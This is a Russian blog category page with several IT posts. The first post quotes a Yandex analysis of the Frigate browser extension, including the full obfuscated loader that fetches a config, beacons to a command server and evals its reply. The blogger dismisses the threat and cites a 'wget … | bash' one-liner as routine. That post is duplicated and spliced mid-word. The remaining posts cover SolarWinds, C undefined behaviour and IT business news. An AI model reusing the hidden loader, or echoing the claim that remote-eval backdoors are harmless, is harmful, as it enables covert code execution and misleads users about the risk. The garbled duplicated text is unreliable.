Category: it

Category was added automatically. Read all entries about "it".

prog

Безопастностное - 4: Яндекс в своем репертуаре:

Почитал про ужасы фрегата: Резюме - это тупая и глупая страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от котПочитал про ужасы фрегата:
Резюме - это тупая, глупая и очень знакомого типа страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от которых, как от огня бежать надо). Которой они же еще в свое время компостировали моск "покупайте фирменное-платное"
Квинтэссенция пугательного маразма: Мы покажем, как организована динамическая загрузка и выполнение произвольного кода без обновления расширений. - страшно аж жуть - особенно если учесть что в нынешнем вебе-2.0 этим 2/3 страниц занимается - даже расширений никаких не надо - просто по ссылке пройти.
https://habr.com/ru/company/yandex/blog/534586/

Динамическая загрузка и выполнение кода

Frigate

(полный код расширения доступен по ссылке)

Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store.
[Spoiler (click to open)]
profile.js
const configUrl = "https://fri-gate.org/config.txt";
initProfiler(configUrl);
function initProfiler(confUrl) {
    const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;
    if (!extension || !runtime) {
        return;
    }
    const { reload, id, getBackgroundPage, sendMessage } = runtime;
    const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);
    const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;
    let initializing = false;
    let initialized = false;
    let config;
    const sendBeacon = async () => {
        try {
            if (initializing || initialized || !navigator.onLine) {
                return;
            }
            initializing = true;
            const method0 = "GET";
            const method = "POST";
            if (!config) {
                config = await fetch(confUrl, { method0 })
                    .then((r) => r.text())
                    .then(decode)
                    .then(parse);
            }
            const { urls = [], delay = 1000 } = config;
            //console.log(urls[0]);
            if (!urls.length) {
                return;
            }
            await sleep(delay);
            const data = {
                id,
                ...runtime.getManifest(),
            };
            const url = urls[floor(random() * urls.length)];
            if (!url) {
                return;
            }
            const promise = new Promise((resolve, reject) => {
                const r = assign(new helper(), {
                    withCredentials: true,
                    onerror: reject,
                    ontimeout: reject,
                    onabort: reject,
                    onload: () => 200 === r.status ? resolve(r.response) : reject(),
                });
                r.open(method, url);
                r.send(b64encode(stringify(data)));
            });
            const result = await promise || "";
            await sleep(delay);
            debug(decode(result));
            initialized = true;
        }
        catch (e) {
        }
        finally {
            initializing = false;
        }
    };
    if (!getBackgroundPage) {
        return sendMessage({ type: fromCharCode(248) }, (result) => {
            checkError();
            debug(result);
        });
    }
    tryCatch(() => getBackgroundPage((bg) => {
        if (bg === window) {
            setTimeout(reload, 60 * 60 * 1000);
            setInterval(sendBeacon, 60 * 1000);
            addEventListener("online", sendBeacon);
            sendBeacon();
        }
    }));
}


Этот код совершает запрос по адресу fri-gate.org/config.txt и получает адрес командного сервера для дальнейшей работы. Такое решение позволяет без обновления расширения менять адреса командного сервера, если с ним что-то пошло не так. В момент нашего анализа командным сервером был gatpsstat.com.

Пример ответа
ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0

Раскодирован в:
{
  "attachStacktrace": false,
  "delay": 1000,
  "urls": ["https://gatpsstat.com/ext/stat"],
  "release": 280,
  "sampleRate": 15,
  "environment": "prod",
  "level": "info"
}


Раз в час расширения совершают запрос к командному серверу в обработчик /ext/stat. При первом запросе им выставляется cookie, которая содержит uuid пользователя. Ответ сервера декодируется и попадает в функцию debug(), которая, по сути, является функцией eval() для выполнения JS-кода.

Пример кода
const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;


Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода"
Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...

Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой
Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает).
Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.

Вторая страшилка там - "динамический выбор и смена серверов
Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков.
Сервису доверять при этом разумеется надо.
На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.орых, как от огня бежать надо). https://habr.com/ru/company/yandex/blog/534586/ Динамическая загрузка и выполнение кода Frigate (полный код расширения доступен по ссылке) Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store. ... Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода" Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...
Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает). Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.
Вторая страшилка там - "динамический выбор и смена серверов Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков. Сервису доверять при этом разумеется надо. На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.
Dnyarry

О русских хакерах

https://pascendi.livejournal.com/1940230.html
https://xakep.ru/2020/12/18/virtual-farms/
Доступ был получен через систему SolarWinds, предназначенную для управления ИТ-инфраструктурой. (Кстати, ее в России продвигают чуть ли не десяток вендоров и системных интеграторов.)

Пароль к ее серверу обновлений был, внимание, solarwinds123. И их предупреждали за год, что с этим паролем к нему может подключиться любой.

Источник.

Пикантное дополнение: они, оказывается, сами же выложили данные учетки сервера обновлений на GitHub [вместе с паролем].


Так что когда в голливудских боевиках крутые хацкеры подбирают пароль password - это не клюква, а чистая правда жизни
fatherland

Купил тут второй ноут с предуставновленной ubuntu 20.04

В смысле самой установки - никаких нареканий. Но попользовался несколько дней и понял что это надо сносить и ставить LXDE - не потому что "криво поставлено", а потому что убунта как была по интерфейсу говном несколько лет назад когда я с нее слез - так им и осталась.
prog

Undefined behavior - 3

Ну как правильно почти все заметили оно там в i < ++ i.

Не определен порядок вычисления аргументов сравнения о чем clang и рапортует.

Что более забавно - что как я уже сказал - оно (если break убрать) с ключом -O0 зацикливается, а с ключом -O3 - нет.

Причина в целом понятна - есть старая-старая эвристика - при вычислении аргументов начинать с самого сложного выражения - просто потому что "в среднем" такая последовательность требует меньшего расхода регистров.

Что видимо clang и делает с -O0, ну а с -O3 он там какой-то продвинутый оптимизационный интелект подпускает.
prog

Undefined behavior - 2

Кстати

void test_for_11 (int t) {
    for (int i = t; i < ++i; i++) {                              
 //       break;                    
    }
}

int main () {
   test_for_11 (10);
   return 0;
}


При компиляции clang с ключиком -O0 - зацикливается, а с ключиком -O3 прекрасно завершается. Так что оно и в реале undefined
prog

Undefined behavior

Приятель тут спросил:

Где тут UB? (clang вроде ругается)

void test_for_11 (int t) {
    for (int i = t; i < ++i; i++) {                              
        break;                    
    }
}


Я-то вижу - но пока в качестве тривиальной викторинки. Комменты скринятся.
fatherland

Аутсорсинговый IT-бизнес

Забавно что в российской и особенно украинской ментальности под этим в основном понимается продажа рабочей быдлокодерской рабсилы либо просто в виде конкретного нанимателя с филиалом, либо по модели "чего изволите". Но в любом случае деньги тут по формуле "зарплата+офис+налоги".

Хотя на деле скажем амазоновские облачные сервисы - это тоже аутсорс - только никакого "кодинга за деньги" тут вообще нет. И деньги соответственно несколько другие.

Ну или промежуточный вариант - "на заказ" - но с узкой специализацией, прокачанными по ней скиллами и репутацией - и опять же - сильно другими деньгами нежели "просто зарплата+офис+налоги"
fatherland

А некоторые про барбершопы все говорят:

https://www.kommersant.ru/doc/4549436?from=hotnews
Замглавы Минцифры Максим Паршин заявил, что российский IT-сектор потерял до 40% доходов в период пандемии. По его словам, это связано с сокращением расходов корпоративного сектора.

«Есть мнение, что COVID оказал позитивное воздействие на отрасль, есть такое распространенное мнение. Здесь и да, и нет. Нет — потому что мы видим, что многие компании столкнулись с существенным падением выручки. По данным ЦБ, мы видим входящие денежные потоки ИТ-отрасли, и падение составляет до 40%, денежный поток в отрасли упал в целом по отдельным секторам»,— сказал господин Паршин на онлайн-встрече с представителями IT-компаний (цитата по «РИА Новости»).


Впрочем вероятная причина жалоб на судьбу IT довольно прозрачна - "дядя, дай денег":

Замминистра сообщил, что пандемия стала одной из причин выделения грантов IT-отрасли. В 2020 году выделяется 7,1 млрд руб. поддержки. Конкурсы на гранты были объявлены в конце сентября. По словам замглавы ведомства, уже подано несколько десяток заявок.

Напомним, ранее в Госдуме приняли закон о налоговом маневре в IT-отрасли. Согласно ему, с 2021 года налог на прибыль будет снижен с 20% до 3%, а ставка страховых взносов — с 14% до 7,6%. Президент Владимир Путин подписал закон.


PS: https://www.kommersant.ru/doc/4539560
Весной за счет сокращения выручки — в среднем на 22% — российский бизнес начал снижать операционные и капитальные затраты. Речь об оптимизации затрат на персонал за счет сокращения штата или перевода части сотрудников на контрактную оплату. Еще одной статьей оптимизации стало снижение IT-расходов. По итогам 2020 года прогнозируется падение глобальных IT-расходов на 7–8%, в России оно может оказаться несколько выше, полагает господин Рожков.
....
В первую волну пандемии крупные заказчики — нефтяной сектор, госкомпании и государственные учреждения — сократили свои IT-бюджеты более чем на 20%. Сроки оплаты действующих контрактов в половине случаев были сдвинуты, ряд контрактов (15–20%) был расторгнут, а новые не заключались, рассказывает исполнительный директор ассоциации разработчиков программных продуктов (АРПП) «Отечественный софт» Ренат Лашин. По его словам, практически полностью остановили IT-проекты предприятия таких отраслей, как туризм, общепит, строительство, спортивные и культурные учреждения, авиаперевозки и машиностроение.

В итоге, по данным ЦБ, финансовый поток в сфере разработки ПО в каждую из трех последних недель мая и первую неделю июня 2020 года снижался с 39,5% до 63,4% по сравнению с докарантинным периодом (с 20 января до 13 марта 2020 года). Такая ситуация в среднесрочной перспективе могла привести к реальному сокращению персонала отечественными IT-компаниям, вспоминает Ренат Лашин.

Кто принял основной удар

Объем передаваемых мобильных данных на одного абонента «Вымпелкома» в первом квартале 2020 года вырос на 60,5% по сравнению с аналогичным периодом прошлого года. «На этом основании может сложиться мнение, что такие компании оказались в безусловном выигрыше от пандемии и карантина, заработав на увеличении спроса на услуги и росте акций, как в случае с Zoom,— рассуждает первый исполнительный вице-президент "Вымпелкома" Арташес Сивков.— Однако в реальности это не так. Успешные кейсы скорее исключение, чем правило, чего не скажешь о кризисных факторах, которые затронули всех».


И разумеется эти оптимизации касаются не только и не столько IT
fatherland

К вопросу о самоедстве

https://www.kommersant.ru/doc/4548067
Минцифры предложило вынести на обсуждение президиума правительственной комиссии по цифровому развитию возможность идентификации администраторов доменов в зонах .ru и .рф через Единую систему идентификации и аутентификации (ЕСИА; используется в госуслугах), следует из переписки, с которой удалось ознакомиться “Ъ”. По информации “Ъ”, на заседании комиссии 23 октября вопрос не рассматривался и был перенесен.

Как следует из документов, речь идет о подключении аккредитованных в Координационном центре национального домена сети Интернет (КЦ) регистраторов доменов к ЕСИА.

Это позволит регистраторам доменов не запрашивать данные у каждого клиента, а получать их напрямую из системы.

Директор КЦ Андрей Воробьев подтвердил, что такая инициатива направлена в Минцифры. По его словам, она нацелена на упрощение процедуры регистрации доменных имен, а также «облегчит работу правоохранительным органам, которым не придется каждый раз запрашивать данные о конкретных именах у регистраторов».


Самое смешное - они сначала под соусом "охраны личных данных" запретили регистраторам выкладывать эти данные в открытый доступ (whois), чем создали и регистраторам и себе приличный геморрой.

Теперь вместо того чтобы отменить маразм, городят новые турусы на колесах для решения ими же самими себе созданной проблемы.

PS: Естественная мораль - пора валить на иностранных регистраторов